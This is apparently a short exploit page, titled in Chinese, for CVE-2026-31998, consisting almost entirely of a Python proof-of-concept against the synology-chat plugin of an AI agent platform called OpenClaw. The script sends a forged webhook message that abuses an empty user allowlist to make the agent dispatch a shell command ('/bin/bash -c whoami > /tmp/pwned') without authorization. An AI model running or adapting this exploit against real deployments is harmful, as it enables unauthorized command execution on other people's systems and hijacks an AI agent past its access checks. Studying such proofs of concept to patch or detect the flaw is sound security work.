CVE-2026-31998 OpenClaw synology-chat插件授权绕过漏洞

import requests import json # CVE-2026-31998 PoC - Authorization Bypass in OpenClaw synology-chat plugin # Target: OpenClaw instance with synology-chat plugin enabled TARGET_URL = "http://target:8080" SYNOLOGY_WEBHOOK = "http://synology-chat-server/webhook/openclaw" def exploit_authorization_bypass(): """ Exploit the authorization bypass when dmPolicy='allowlist' and allowedUserIds=[] This PoC demonstrates sending a malicious message to trigger unauthorized agent dispatch. """ # Malicious payload to trigger unauthorized agent action malicious_payload = { "user_id": "[email protected]", # Any user ID will bypass when allowedUserIds is empty "username": "attacker", "content": "Execute agent: /exec /bin/bash -c 'whoami > /tmp/pwned'" } headers = { "Content-Type": "application/json", "X-Synology-Chat-Token": "malicious_token" } # Send the payload to the vulnerable synology-chat webhook endpoint response = requests.post( f"{TARGET_URL}/webhook/synology-chat", json=malicious_payload, headers=headers, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Check if unauthorized agent dispatch was triggered if response.status_code == 200: print("[+] Authorization bypass successful!") print("[+] Unauthorized agent action triggered.") return True else: print("[-] Exploit failed or target not vulnerable.") return False if __name__ == "__main__": print("CVE-2026-31998 - OpenClaw Authorization Bypass PoC") print("=" * 50) exploit_authorization_bypass()